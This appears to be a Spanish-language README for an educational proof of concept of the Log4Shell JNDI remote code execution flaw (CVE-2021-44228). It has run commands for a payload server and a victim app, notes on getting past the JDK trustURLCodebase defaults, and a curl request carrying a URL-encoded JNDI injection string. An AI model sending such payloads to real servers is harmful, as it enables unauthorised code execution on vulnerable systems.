
Una prueba de concepto mínima para la vulnerabilidad Log4j2 JNDI RCE (CVE-2021-44228/Log4Shell).
Una prueba de concepto mínima para la vulnerabilidad de Ejecución Remota de Código JNDI en Log4j2 (CVE-2021-44228). Está destinada a fines educativos para ayudar a personas que no son investigadores de seguridad a entender cómo funciona y qué tan grande es el impacto.
La POC evita el requisito de establecer las propiedades com.sun.jndi.rmi.object.trustURLCodebase y com.sun.jndi.cosnaming.object.trustURLCodebase en true, las cuales fueron deshabilitadas por defecto desde 8u121, 7u131, 6u141.
Nota: Se requiere JDK 1.8 para compilar payload-server, pero la victim-app es vulnerable hasta JDK 15 porque el motor Nashorn fue eliminado en JDK 15.
payload-server ejecutando:$ ./gradlew runPayloadServer
victim-app:$ ./gradlew runVictimApp
Ejecute curl http://localhost:8080/hello?name=%24%7Bjndi%3Armi%3A%2F%2F127.0.0.1%3A8099%2Fexec%7D para desencadenar la RCE.
Para comprobar que el código remoto ha sido ejecutado, revise el registro de la consola de victim-app. Debería ver un registro no intencionado impreso en la pantalla.